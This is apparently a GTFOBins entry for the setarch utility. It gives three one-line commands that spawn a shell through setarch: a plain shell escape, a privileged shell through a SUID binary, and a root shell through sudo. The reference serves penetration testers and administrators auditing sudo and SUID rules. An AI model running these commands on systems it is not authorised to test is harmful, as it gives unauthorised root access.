GTFOBins.github.io/_gtfobins/setarch.md

257 B

description functions
The `uname -m` command can be used in place of `arch` to obtain the architecture.
shell suid sudo
code
setarch $(arch) /bin/sh
code
./setarch $(arch) /bin/sh -p
code
sudo setarch $(arch) /bin/sh